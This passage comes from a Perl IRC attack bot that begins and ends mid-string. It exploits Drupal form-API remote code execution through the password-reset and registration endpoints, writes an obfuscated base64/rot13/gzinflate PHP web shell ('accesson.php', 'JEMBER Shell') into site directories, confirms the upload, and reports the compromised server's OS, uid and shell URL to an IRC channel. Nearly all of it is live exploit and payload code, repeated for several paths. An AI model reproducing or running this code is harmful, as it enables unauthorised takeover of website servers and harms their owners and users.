DVtaUdWc0luYUpxQlltZkpUUHpOeEp5anJBSGdYUHlCQVN1b05GMUlldlkrOXFWWnJRbVJMdkVjOWtGRnRNR01pQ25yaENCV25nQnd2a0F2Ykk4UUpiVVd4MWt3V1VSVGdpbEFqaFRZRjdna3N4V2N3T2FVdlBxbXpiZUhjSVN1QXl6bUg4ckxjRkhrNnYzODl1N05VQ21qdlNXVGhyT2xCQlJnWmMzWUpUYUFQTUVIWURmMldRQ0F3M0lKOS9KRXA5ZUllbmxoZmQ2d1p4NTA0RWk5VGtGc2dDNnJFd0UrV3ZrMTFhajlmUjBNNmJoRzl0L3k0OXZpczlTRDNKQlNhQXlTYURkQkxSNm8zR3dhd01vMmNrQWo4TS9PYlA4ak1FMnBlYitCZ3loQ09DM3EzZi9xQ2U0R1FtT3M1cXlLaUlzb24wUUdjdHJXZkUxTlN1b01Qc0dNdlNjOFQvdUg3N29ZQlhmdlM2VTlyNUxER2w4ZXlON2o4bHgrU2ZtMWduOGlZUDlablBmdXo3cTUrdkYxTHZTSDRjSEIrc3hEd0U5djRsS1NjK0FFQkh4Y1FkOWFqU01GcGd5QnFJL3AwbCtwOXk0K041Nm8yZm9SOGxnT0lWNGdXWFpCWS8yU0xjcmhDVGw3QStrSnFUU3NGTTBmT2N0R3o1RVBkZGlNSit0SWluYnZ4Q1FuMHB2elcwWk5ITlo5bUxuOEdKQmQ2WFR6MEIvZWEzcXFZejk1dHVoYlllOCtGTnhvMnlSUDZGYWhEK0RkU0ViYUxveUp0VmRQNGFvaE1TUmV4V0FzZEJZNVc0bEFIZ2x3NHJ6ZjJsWVNDdUpRMEhQbS9OaTNwa3NNa0pUbGwzK1VIekt6TW44Wm8zV3RVZXMyOUhtbHRrWTBEdGZTanJXYWU4YUdXU2ZvNllXdTVhVFdFWHZaaS9HbDZZUGpPWFFqQk1NZVFoOVUxRGxJRmJuM0hhNHltSXFLNktOK09MTWg3ZlFCYWdPKzZzSVRTY0hHU3Q1TjZRb1UyeUZ1YUpVTSs2clpsQm94Y0NTRXBUVnpaTm9Wdzh0dUFSTnRXaXJEaUp3K2MwcDJ0QjQyTTRJMlBkVGVOWFFkMWtHYnFTbDVYRmswVjFubE5hMy8zRkM0UnNTdXNaSTNlRklqKytwekttTExvcFQwOTg1eU93ZmVhTTh0c1dmQjJrSUhlTGtyRUtuOEtCYXozT3YvVlBkWUVCSS9IV1ZLeVh6Y3FWakdpUCtuS1JPdkhHWWh6VVlEOFNSaVhoaUQ2Snp2Z1ZCczhIRTE0bCtjb2w5YjhnRkQ1dm00OG1PcmZSZUU0UVdrLzVuZUw2ZG9aMU5pVWFzV012cFdJWDZnNENxYnlXekV5ZFB4dUtXM090VlVla1JvTE54WjRoNkJyaW1EN0tuV1dNVlRhL3FYVldZUUxiUTFJWjFXUW5Ia2UwQnZpUVJSUVlkbnpiTExNNE96QUV6UlFvSnBwVmRSekRFUTI3UUZEbTFmaDk5dGFEWHpUbFlhUmJTSXVWV1I2enphOGNhMll5YXhxdlpMb3VXYkhkTzVZOUpKVXVyZWtzNnhZSTNtTXQyU0g5Z0V2Z2JSUDBKQkRXQWdXSnYzS1lGRTlWeE1pUytjbEdTSnRzbUVmYUZYN25XazRYOGhUb1FvcXM1WncxRFB5YS9ob3JVVHBXNGRqZnF4ZWJBWXBkdjNzNnZ0YStSaWR4Zld2N2UxSmsxdXpmR29hd0JqOHU4ZE5DUnhodVFrdnVTTzNYa3hxTlI5ZEhyVm9WM0VLdWI5UGxoaDZuWDFQNDJhZDRkZ2dZRks3SlZjcjVMdVIwUWcyd3N4Tk9SYVhvM1cvWW5Ta3dtMSsyMVFSN2xabWhnT2NxbzJpZGo5ZThXaHEzdWU2ZWxnK2pzaVc0ZFBHOXhsOEdWYkNNSE1IdXdPTHFJVjBTdHg4NVhJaGZ5alJLNytXdHM5bTY3bTU5bEVCelJzOUtMbkNFZlc0djhSaENjTnVER1RMRUF4YldKdUIyNXlXbVYzQ2VqYWpHL3paRWVnMmlOSTMwQVV4Q0dCN2pTSVZTS0lYYTdHdnlOd1FERkhxd0g2dDVsWmFvWU9rTkRBWXNsWDVLQ3phNWQ3cFlQNXZ2Z05RbDNUa2xlWVlLc1Vab21lcjN0S3VpNzdwc3AvazdlQzhBazlMVEdFQXZqQmo4RU9QRWR5TkpOVDdJcFA0cXhxOHUzM0hVbzBCUUhzZS96S1lLSE1JSzBxMGNpTnVKYUt2bjFLQm1UdlVyeDJuV0J1MnBjZVNDaGpHZlFBTG55ZG12RlZnVy9PSmR0K1JUdUN1bW9LcHdtc1VkWWRYNnZiZXhpMHQ2L01Dei9lZFVYa2VRMHN4Z01LdzY5YzR6M0ZEeU9BV0NFK3JkQkNWRzJNRlQvRXI2dWNuWmNPQXlWZmI2a2g0aTlOMXMvdzRFUE9QSjk1UGYxUkNaTHI3MEtldDFKN1A0RnQ1TUYzRFR5WXVNZ3oySWJLOUVYamd6K3RaT0E0ckJONmtmblF4RU9lenZjeTdRY09FdDZrcTQ0ejNZc2c5ckhWVkFwcEM2YVFxcE5FQmUycWJWQlcwQ21iczdLUThrWXlvODBsVEZSdm5HMzFiU2Z6a01WdHBES0s0d21rcXREdFAxVVN4NE5kTnFjUGNjOHA4VG1oMzU1TDlpYkF6Y0RDdUgxemdPM2xudjNmdGx6V0NTL2gzclYvUmNaK0ZqaFFib29ucjhuQXdld215STVMUWlCRnh4VWw2dTk2a3ZJTDZYTkVZZk9rR2Yrb0pBN3liMTlSWnpvcVNLWjZmdGFIa05wcTkvSktVWVVYZFlpWG1xK0QxMTJ1ZE1vSXk2WXRRenNpYlg1ZjlIWmkrYXNJbzRnRmZwb3VVRkppUWdYamIxMlZBMDVyN1dZc05ZWVhQRGZZdUR2TDRrU3Q3UHJKRlJWaVJKdTR4aGxqNjJEakRPVWRIdk04L0I2bkc4a1Z5NStPZENsdzNmOEhXKy8zN1ArL252LzhDJykpKSkpOwo/Pg==+%7C+base64+-d+%7C+tee+sites/default/accesson.php";
my $ajax2 = "_triggering_element_name";
my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax2 => 'name']);
my $body2 = $response2->content;
my $regex2='';
if($body2 =~ s/$regex2//){
my $newout=$1;
$formcraft2up2="http://".$site."/?q=file/ajax/name/%23value/$newout";
my $responses2 = $ua->post($formcraft2up2, Content-Type => 'application/json', Content => ['form_build_id' => $newout]);
$addblockup2="http://".$site."sites/default/accesson.php";
my $checkaddblock2 = $ua->get("$addblockup2")->content;
if($checkaddblock2 =~/
/) {
my $shell2 = "http://".$site."sites/default/accesson.php";
my $shell3 = "http://".$site."sites/default/vuln.php";
my $cekap2 = &get_content($shell2);
if ($cekap2 =~ /JEMBER Shell/i) {
&get_content($shell2);
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap2 =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$drupallogo 15,1$engine 9<4=9>11 Upload OK 15[SafeMode=$safe] [OS=$os] uid=$uid");
if ($nick eq $admin) {
&msg("$admin","15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
} else {
#&msg("$nick","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
}
my $cekap3 = &get_content($shell3);
if ($cekap3 =~ /Vuln!!/i) {
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell3 ");
}
}
}
sleep(3);
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_verify_mode => LWP::Protocol::socks::SSL_VERIFY_NONE });
$ua->timeout(20);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0");
my $addblockurl2 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=mv+sites/default/files/.htaccess+sites/default/files/.htaccess-bak;echo+PD9waHAKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdMVXZIRHF4VkV2eWEwY3plOEZON3dudnZ1YXhqamZlZXJ4OXIya20zR3FnaXE5SlNVOVpGRC9jL1czOGs2ejJVeXovajhGc3c1SC96TXFYejhrSXhORWhrLy8vbVlsSmJZQ3RpU09jUy80S2NqUHdMTW55ZGZpOVNlVE1ZaFAweEhYdlc0ZGpqNzhnejhyNFlYei9yaGdzRkN2MzNSUEs5RmQrRFd1M3ZGZEZTT0RySkswa21IbUhOTVkrNzFmdjQvYTUyQWZqb3FyMlhBMTQvZFU5VDdVT3VjNnpxUloyRkNKVTFmdHdYdGg1Qml0UUpSSE1JNmNrSTFMdkVpaWJ6bzF1eWVZVWtwaHE2NzVMcEoxTmVNdFdoRWwwS0szRm03aXdCcHRqbmhoSVBBdUk2VWhzWWRuYlJuR3NxSlgxcjVWV3VYSnBUeXR4ZVNNclNLWEU2RUMzb083RHdGTTQ4cjhoUVRPVlhxOXdNNmtJMW5pdjQ0QW1CejZ2VWFHeVI3aHp1Q3JhTlZ2enVuVHZ2Mk9wRWNWbFVmUWJzMHZCaDZralZvQUdOdndQWUx1RWJXNGFmK2M2RW9LTVdrZDNYOHlESUlQdDlSWml2TlIwM2xBZjMvVGVIdE1lZGNjMEZySEtBWlpVQXFUQzBCb3lRUmJ0VWtCZDVGbk9PU1RPcmNzS01pdVJCQTRPaHZzU2Z1eWp0WmRLb2pYL2dyWkVWWTM1cVF6NFJ6K3hVQTZmNjZOWE8xQndVYVkyNWRsRlQ3U1dhS2JhNTNOWlRPbFIxWTJQbm5NYzNweHlsdDN5dXREUXlRRjRoZWhyRDlabXR3OXlNU0RNQVJ5eU5rNzFKcGw5eTREdnVCcnlLZVByN2hnL0VKRzJ3MFgxQWJ4a2NmUSt1M1RNTXc4T1VZU2E1N0R1bGM3SEJXWGlZTVlQYnBUNkxGMURTWXVTV3grVVlXdWtraDJjTFh3azFFUzR6Um1RbXBZYzVtMWR0U3hBcFM4MXplejliQzdGNllsZkk1NjBmTVEwMFpIWFZ5Q0pVaUEyaFIxSkpuK3lkYnB0N2taQ0E4Z1NoTkZDbngzZnlwUVg0T1ViMmdEb0V4RmE5dnFNRnRORXBRK0NsenhycjB4L1M5YWxlNmRqYzY5TkwyNGZQK2o4NWJaL1o0WmNLRnhJQ0dYeWxIaHZ5RE9PeDUzRTNFdkFPOEp4Y0xHL3V2Um9KVkZOV2I1WDd2SndrU1F0RDZPcXRQMUNFS3lKMklIVmc1QjB0MzBvV0VETnlyQkdlTDdDaFU5THc4N3EvelBHQ2dmSU1RMTBNSHR1cXhtU3pMMmVlcUgwblQ1UmpkVFQ4QTgvRjNvYzlORFltcTlVOVo1dHFrMVAxNERLaS9SU1FZenlTZXZiT3hQc3I4NGpMams4bWFYclNUR2QwbVUrREdDUjE5bGNGOThTZnIwMnRWL2V0QW9jU1ZpTWxza0xVSFlUazd4VUlSMmovODBCVHB3d040bVVDQ0xsNkkvcWVwd3pLQkhtajYvMEF1eWFqM0hndlcyWEdLdFJlWXBYak5ZbWhmakFpYW51UW5xemNlc2x4RGRRYjhsUHovcENFY3BkZnlWdFdVc2ZCNC9NVlBlSENlRDNuM2lMeFdQVXBCSWZDL0RTMjdxTmduRnhvOHN5dEFQNEFwWktYOFdGSyttcG4wOWlHakNsQzBwN2lodzRFcjVlQjQvNGtzSmUzUFMwc08rRVh0M1BXdXI2NXdCMERmV1JmRHh1WmV6MUkxL05Wb3o4ZGFTK3I3TUVaNU1MR00wdDE2anBIUCs2STJLWVc4cUFJaE0wellRUU9TVmZQMWVQeXB3TXU1MTRxSkhtck5IRmJ3RDdZTW5KMDJrNWdaeEJGWU5WQ09pNmltU1pvWnlkSVRqRGN2N2J3c3RZNXFKMElyWEQ3TjV1VXhKVDE0VHg1R3A5N0Q4NGQ3bWpURDlwcXpTWHlxZ051MkFuVktGTkdPdVN1TEJrZm1weStqUE4rajRJK3JRNzliVTBmTm8wUks5K1UzZ3cwRkwreUlzOXhaVWd0ZTZqdkpBNlJrdzkwRExoM3VJU3A2Wm5tVDdaZ29Sbi9BTmdBeVdIb2hBUnhETitjK3d5TmxES3VPTGo2Q1ZGRlE5T3BOVlVCYzBGQjk2WFlUYmgvanhkUTRZQ1lzeTdLQTB1RjBqMHVrcTVPMm52MmdWSlF3LzVpbkgvaGx6Rjh4UWpXclRJUk9ka0hmWnBxWDByMVlWVnhzbVBlTVA2YzRiR0NEdUdpc2YwZ3R3cFhNTFAwQks4bmtHLzJtcjdMY2o5V29VZy9ia2w3bFVSUnNqcTBaaDRVMkhnNU9pRUM3blFUOEJuVjlFQ2RUT2VENXNDOWQ5VGpLeUJnY2QyR3NobFczdktPdEMycXRGeVFjSFJraEt4ZVhwMkd0TUZRR1RDTEdQUGU3KzBpcytWU3NjT1dCMmZUc2pUdCs4U0kwVUQzd3NSV3dzYTErcjRibXFZc3cxL3BUYjJVcUhJN1hMVXdhUnMrQk05MHhpWXkxY2xUV2xJMTVqRlRMdU5xNGhZWUNhSW1adjJsTDV5UlVGd2hFQmVncmJSSnRqNkM1ekNpU1hFZW41SnhGMUJvY3NoYUNlQ2h1eGFIb3R1WFdOWkhNUzREVjR6NVNvMjNKTkllYUFoZFpIVFk2VXZzYjRRamlGWFErYjQzYnFzOW83UGVwYmdWc0Zvdngxc0tHNHB3S09aN2p4SktheVdFK0w1V3IyeTBaMTIyd2dBM1FLcW9Pa3RnLzRXMWFyeWNmaWRlUElwN2lyU0N6VGJGN2FhQ2o3ZzZhZmt0UXBMNklWREpzYTVPMzdlSyt5dFJaNTVaajl4UEswaW9LdDkxUFU4bmdaSDRGSDdSQjVRNnZMYkZLMXM2UXFTbmVJc3F6OXo5VjJRMDYvdEgrL3Btek5qNEc2YTNvQnI3WVJxOWs4bXFRaGYxNmk4NnJpNlc0elBIdmVkZEpOUE5VUjBGQmFuZ0NCRDVxOFVZR0FIaExsdWt0bjBvcHR1YmJ1d0NScVBxL2g0dHpVS1V3YXhTbk9ZYU9iUEluU1dYUWFGcW1RT1JkTDhrUHB2S1U4dllieXlTQVptbEgydVpkN3h5aE8raHdtL0pUUlhKT0lrc3VTOHZXclViOHcxMytqeDg2dEMvai9vY3BlMk1tUWpudDUwUXZoaWE4bmFyaFFmQ0lrUzdHRVZLNVA2QjNrRnFtQUovTGxWTlVLMFhiODIrRzJiODZ1REk4bVRVbXA3K2ExRU54eGRIU3czMlVVKzk3Nkp5U2dMakxzS2VkNDdLb2pBZnQydHdncDRkOFg1YzVVSHdUZjZXQThVeFRoNlRqSTA2bmYzcGlUbTBrRThocUg2Tm5MRzVpUnFJbkxRV29OdUxzOHlUa0ZhWmFCcVdsRW54MTZiSWthUDdQTkpyZ3RUcFBhZmxVdDRLTURWQWRXbGZ2ZTdHQ2JBTFZzK0tnT1lFaVdsMDZ1dEVBOVZKclN3NkpQUDl0UktpdG4wSWNTNjUrQUtTaEd1M1IxYmpnYnArOEVGeStRK2orT3FzekNyTEhmTktKVE80Y0VWTVgrMGZMdEgzZS9RRmx6RzQ2ODNsTDdjekJyWGxsb3FneGF5bUYyMFBQSnN2NFlaR0dtdTJTSnlvRGR3eFR5c1RkdlpGelZaZjVqd2F1TllLSGYrblBVM1pRam9oWVRPM3JZeXJHMXJwL1Y1Y0ZmMnE3WTBxcnpnaU1PMXJWUkpodFAydWNEQ3QwWUF0WDQ4M1A3YUZyWFhsaTVPOUdrY2JuSzgzUlF3YzIxc25ubWp1dEFyK3QzQVk5VWp5RjdvL0dnY0dpYVJkenNjSHR0dms0Y2tXRmdOallVZDE2elFXVXFMYU5aUG4zcEs2WXgrWk9BS0tjODg3SWdiWHoySVJHeXhEb3EyNy9LejZMcHY0ZXlIQldUNWpsbDR6SUVRSktaaW9JTzBHSlVDNkFoRC80WXpyNkt3UDM2THhqUElDeHJkODRrenJmcUY4MDJHRXVpejdRUDFCR0xYOFVpTGhmTERCQ3c3dDZrZE1sZmhWRzMvZG9SbVNtL0FXc0d5c1FmekZHT095d01SMWlOOTh0NGpSb2hScGp2aTRjd3hWcFYxZ2NVSTFZZC9TajVJZ1FTSlVsSEIvOEpWdkY0bXI2YjZUeWhRT2d0VTZQektIbTREeDg5Q1AwN2RuajBGZEw0emp0eFdsdVQrV21KQ2J4VDM2NDByTS9qVWNMa01rYVYzWEg0Qk1BNzNXVmRHQ0JRRWRJelUxZDN3aDJqRnFVTWwzOXJuRk43TDVtaUdWc0luYUpxQlltZkpUUHpOeEp5anJBSGdYUHlCQVN1b05GMUlldlkrOXFWWnJRbVJMdkVjOWtGRnRNR01pQ25yaENCV25nQnd2a0F2Ykk4UUpiVVd4MWt3V1VSVGdpbEFqaFRZRjdna3N4V2N3T2FVdlBxbXpiZUhjSVN1QXl6bUg4ckxjRkhrNnYzODl1N05VQ21qdlNXVGhyT2xCQlJnWmMzWUpUYUFQTUVIWURmMldRQ0F3M0lKOS9KRXA5ZUllbmxoZmQ2d1p4NTA0RWk5VGtGc2dDNnJFd0UrV3ZrMTFhajlmUjBNNmJoRzl0L3k0OXZpczlTRDNKQlNhQXlTYURkQkxSNm8zR3dhd01vMmNrQWo4TS9PYlA4ak1FMnBlYitCZ3loQ09DM3EzZi9xQ2U0R1FtT3M1cXlLaUlzb24wUUdjdHJXZkUxTlN1b01Qc0dNdlNjOFQvdUg3N29ZQlhmdlM2VTlyNUxER2w4ZXlON2o4bHgrU2ZtMWduOGlZUDlablBmdXo3cTUrdkYxTHZTSDRjSEIrc3hEd0U5djRsS1NjK0FFQkh4Y1FkOWFqU01GcGd5QnFJL3AwbCtwOXk0K041Nm8yZm9SOGxnT0lWNGdXWFpCWS8yU0xjcmhDVGw3QStrSnFUU3NGTTBmT2N0R3o1RVBkZGlNSit0SWluYnZ4Q1FuMHB2elcwWk5ITlo5bUxuOEdKQmQ2WFR6MEIvZWEzcXFZejk1dHVoYlllOCtGTnhvMnlSUDZGYWhEK0RkU0ViYUxveUp0VmRQNGFvaE1TUmV4V0FzZEJZNVc0bEFIZ2x3NHJ6ZjJsWVNDdUpRMEhQbS9OaTNwa3NNa0pUbGwzK1VIekt6TW44Wm8zV3RVZXMyOUhtbHRrWTBEdGZTanJXYWU4YUdXU2ZvNllXdTVhVFdFWHZaaS9HbDZZUGpPWFFqQk1NZVFoOVUxRGxJRmJuM0hhNHltSXFLNktOK09MTWg3ZlFCYWdPKzZzSVRTY0hHU3Q1TjZRb1UyeUZ1YUpVTSs2clpsQm94Y0NTRXBUVnpaTm9Wdzh0dUFSTnRXaXJEaUp3K2MwcDJ0QjQyTTRJMlBkVGVOWFFkMWtHYnFTbDVYRmswVjFubE5hMy8zRkM0UnNTdXNaSTNlRklqKytwekttTExvcFQwOTg1eU93ZmVhTTh0c1dmQjJrSUhlTGtyRUtuOEtCYXozT3YvVlBkWUVCSS9IV1ZLeVh6Y3FWakdpUCtuS1JPdkhHWWh6VVlEOFNSaVhoaUQ2Snp2Z1ZCczhIRTE0bCtjb2w5YjhnRkQ1dm00OG1PcmZSZUU0UVdrLzVuZUw2ZG9aMU5pVWFzV012cFdJWDZnNENxYnlXekV5ZFB4dUtXM090VlVla1JvTE54WjRoNkJyaW1EN0tuV1dNVlRhL3FYVldZUUxiUTFJWjFXUW5Ia2UwQnZpUVJSUVlkbnpiTExNNE96QUV6UlFvSnBwVmRSekRFUTI3UUZEbTFmaDk5dGFEWHpUbFlhUmJTSXVWV1I2enphOGNhMll5YXhxdlpMb3VXYkhkTzVZOUpKVXVyZWtzNnhZSTNtTXQyU0g5Z0V2Z2JSUDBKQkRXQWdXSnYzS1lGRTlWeE1pUytjbEdTSnRzbUVmYUZYN25XazRYOGhUb1FvcXM1WncxRFB5YS9ob3JVVHBXNGRqZnF4ZWJBWXBkdjNzNnZ0YStSaWR4Zld2N2UxSmsxdXpmR29hd0JqOHU4ZE5DUnhodVFrdnVTTzNYa3hxTlI5ZEhyVm9WM0VLdWI5UGxoaDZuWDFQNDJhZDRkZ2dZRks3SlZjcjVMdVIwUWcyd3N4Tk9SYVhvM1cvWW5Ta3dtMSsyMVFSN2xabWhnT2NxbzJpZGo5ZThXaHEzdWU2ZWxnK2pzaVc0ZFBHOXhsOEdWYkNNSE1IdXdPTHFJVjBTdHg4NVhJaGZ5alJLNytXdHM5bTY3bTU5bEVCelJzOUtMbkNFZlc0djhSaENjTnVER1RMRUF4YldKdUIyNXlXbVYzQ2VqYWpHL3paRWVnMmlOSTMwQVV4Q0dCN2pTSVZTS0lYYTdHdnlOd1FERkhxd0g2dDVsWmFvWU9rTkRBWXNsWDVLQ3phNWQ3cFlQNXZ2Z05RbDNUa2xlWVlLc1Vab21lcjN0S3VpNzdwc3AvazdlQzhBazlMVEdFQXZqQmo4RU9QRWR5TkpOVDdJcFA0cXhxOHUzM0hVbzBCUUhzZS96S1lLSE1JSzBxMGNpTnVKYUt2bjFLQm1UdlVyeDJuV0J1MnBjZVNDaGpHZlFBTG55ZG12RlZnVy9PSmR0K1JUdUN1bW9LcHdtc1VkWWRYNnZiZXhpMHQ2L01Dei9lZFVYa2VRMHN4Z01LdzY5YzR6M0ZEeU9BV0NFK3JkQkNWRzJNRlQvRXI2dWNuWmNPQXlWZmI2a2g0aTlOMXMvdzRFUE9QSjk1UGYxUkNaTHI3MEtldDFKN1A0RnQ1TUYzRFR5WXVNZ3oySWJLOUVYamd6K3RaT0E0ckJONmtmblF4RU9lenZjeTdRY09FdDZrcTQ0ejNZc2c5ckhWVkFwcEM2YVFxcE5FQmUycWJWQlcwQ21iczdLUThrWXlvODBsVEZSdm5HMzFiU2Z6a01WdHBES0s0d21rcXREdFAxVVN4NE5kTnFjUGNjOHA4VG1oMzU1TDlpYkF6Y0RDdUgxemdPM2xudjNmdGx6V0NTL2gzclYvUmNaK0ZqaFFib29ucjhuQXdld215STVMUWlCRnh4VWw2dTk2a3ZJTDZYTkVZZk9rR2Yrb0pBN3liMTlSWnpvcVNLWjZmdGFIa05wcTkvSktVWVVYZFlpWG1xK0QxMTJ1ZE1vSXk2WXRRenNpYlg1ZjlIWmkrYXNJbzRnRmZwb3VVRkppUWdYamIxMlZBMDVyN1dZc05ZWVhQRGZZdUR2TDRrU3Q3UHJKRlJWaVJKdTR4aGxqNjJEakRPVWRIdk04L0I2bkc4a1Z5NStPZENsdzNmOEhXKy8zN1ArL252LzhDJykpKSkpOwo/Pg==+%7C+base64+-d+%7C+tee+sites/default/files/accesson.php";
my $ajax2 = "_triggering_element_name";
my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax2 => 'name']);
my $body2 = $response2->content;
my $regex2='';
if($body2 =~ s/$regex2//){
my $newout=$1;
$formcraft2up2="http://".$site."/?q=file/ajax/name/%23value/$newout";
my $responses2 = $ua->post($formcraft2up2, Content-Type => 'application/json', Content => ['form_build_id' => $newout]);
$addblockup2="http://".$site."sites/default/files/accesson.php";
my $checkaddblock2 = $ua->get("$addblockup2")->content;
if($checkaddblock2 =~/
/) {
my $shell2 = "http://".$site."sites/default/files/accesson.php";
my $shell3 = "http://".$site."sites/default/files/vuln.php";
my $cekap2 = &get_content($shell2);
if ($cekap2 =~ /JEMBER Shell/i) {
&get_content($shell2);
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap2 =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$drupallogo 15,1$engine 9<4=9>11 Upload OK 15[SafeMode=$safe] [OS=$os] uid=$uid");
if ($nick eq $admin) {
&msg("$admin","15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
} else {
#&msg("$nick","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
}
my $cekap3 = &get_content($shell3);
if ($cekap3 =~ /Vuln!!/i) {
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell3 ");
}
}
}
sleep(3);
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_verify_mode => LWP::Protocol::socks::SSL_VERIFY_NONE });
$ua->timeout(20);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0");
my $addblockurl2 = "http://".$site."user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
my $wget = "echo+PD9waHAKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdMVXZIRHF4VkV2eWEwY3plOEZON3dudnZ1YXhqamZlZXJ4OXIya20zR3FnaXE5SlNVOVpGRC9jL1czOGs2ejJVeXovajhGc3c1SC96TXFYejhrSXhORWhrLy8vbVlsSmJZQ3RpU09jUy80S2NqUHdMTW55ZGZpOVNlVE1ZaFAweEhYdlc0ZGpqNzhnejhyNFlYei9yaGdzRkN2MzNSUEs5RmQrRFd1M3ZGZEZTT0RySkswa21IbUhOTVkrNzFmdjQvYTUyQWZqb3FyMlhBMTQvZFU5VDdVT3VjNnpxUloyRkNKVTFmdHdYdGg1Qml0UUpSSE1JNmNrSTFMdkVpaWJ6bzF1eWVZVWtwaHE2NzVMcEoxTmVNdFdoRWwwS0szRm03aXdCcHRqbmhoSVBBdUk2VWhzWWRuYlJuR3NxSlgxcjVWV3VYSnBUeXR4ZVNNclNLWEU2RUMzb083RHdGTTQ4cjhoUVRPVlhxOXdNNmtJMW5pdjQ0QW1CejZ2VWFHeVI3aHp1Q3JhTlZ2enVuVHZ2Mk9wRWNWbFVmUWJzMHZCaDZralZvQUdOdndQWUx1RWJXNGFmK2M2RW9LTVdrZDNYOHlESUlQdDlSWml2TlIwM2xBZjMvVGVIdE1lZGNjMEZySEtBWlpVQXFUQzBCb3lRUmJ0VWtCZDVGbk9PU1RPcmNzS01pdVJCQTRPaHZzU2Z1eWp0WmRLb2pYL2dyWkVWWTM1cVF6NFJ6K3hVQTZmNjZOWE8xQndVYVkyNWRsRlQ3U1dhS2JhNTNOWlRPbFIxWTJQbm5NYzNweHlsdDN5dXREUXlRRjRoZWhyRDlabXR3OXlNU0RNQVJ5eU5rNzFKcGw5eTREdnVCcnlLZVByN2hnL0VKRzJ3MFgxQWJ4a2NmUSt1M1RNTXc4T1VZU2E1N0R1bGM3SEJXWGlZTVlQYnBUNkxGMURTWXVTV3grVVlXdWtraDJjTFh3azFFUzR6Um1RbXBZYzVtMWR0U3hBcFM4MXplejliQzdGNllsZkk1NjBmTVEwMFpIWFZ5Q0pVaUEyaFIxSkpuK3lkYnB0N2taQ0E4Z1NoTkZDbngzZnlwUVg0T1ViMmdEb0V4RmE5dnFNRnRORXBRK0NsenhycjB4L1M5YWxlNmRqYzY5TkwyNGZQK2o4NWJaL1o0WmNLRnhJQ0dYeWxIaHZ5RE9PeDUzRTNFdkFPOEp4Y0xHL3V2Um9KVkZOV2I1WDd2SndrU1F0RDZPcXRQMUNFS3lKMklIVmc1QjB0MzBvV0VETnlyQkdlTDdDaFU5THc4N3EvelBHQ2dmSU1RMTBNSHR1cXhtU3pMMmVlcUgwblQ1UmpkVFQ4QTgvRjNvYzlORFltcTlVOVo1dHFrMVAxNERLaS9SU1FZenlTZXZiT3hQc3I4NGpMams4bWFYclNUR2QwbVUrREdDUjE5bGNGOThTZnIwMnRWL2V0QW9jU1ZpTWxza0xVSFlUazd4VUlSMmovODBCVHB3d040bVVDQ0xsNkkvcWVwd3pLQkhtajYvMEF1eWFqM0hndlcyWEdLdFJlWXBYak5ZbWhmakFpYW51UW5xemNlc2x4RGRRYjhsUHovcENFY3BkZnlWdFdVc2ZCNC9NVlBlSENlRDNuM2lMeFdQVXBCSWZDL0RTMjdxTmduRnhvOHN5dEFQNEFwWktYOFdGSyttcG4wOWlHakNsQzBwN2lodzRFcjVlQjQvNGtzSmUzUFMwc08rRVh0M1BXdXI2NXdCMERmV1JmRHh1WmV6MUkxL05Wb3o4ZGFTK3I3TUVaNU1MR00wdDE2anBIUCs2STJLWVc4cUFJaE0wellRUU9TVmZQMWVQeXB3TXU1MTRxSkhtck5IRmJ3RDdZTW5KMDJrNWdaeEJGWU5WQ09pNmltU1pvWnlkSVRqRGN2N2J3c3RZNXFKMElyWEQ3TjV1VXhKVDE0VHg1R3A5N0Q4NGQ3bWpURDlwcXpTWHlxZ051MkFuVktGTkdPdVN1TEJrZm1weStqUE4rajRJK3JRNzliVTBmTm8wUks5K1UzZ3cwRkwreUlzOXhaVWd0ZTZqdkpBNlJrdzkwRExoM3VJU3A2Wm5tVDdaZ29Sbi9BTmdBeVdIb2hBUnhETitjK3d5TmxES3VPTGo2Q1ZGRlE5T3BOVlVCYzBGQjk2WFlUYmgvanhkUTRZQ1lzeTdLQTB1RjBqMHVrcTVPMm52MmdWSlF3LzVpbkgvaGx6Rjh4UWpXclRJUk9ka0hmWnBxWDByMVlWVnhzbVBlTVA2YzRiR0NEdUdpc2YwZ3R3cFhNTFAwQks4bmtHLzJtcjdMY2o5V29VZy9ia2w3bFVSUnNqcTBaaDRVMkhnNU9pRUM3blFUOEJuVjlFQ2RUT2VENXNDOWQ5VGpLeUJnY2QyR3NobFczdktPdEMycXRGeVFjSFJraEt4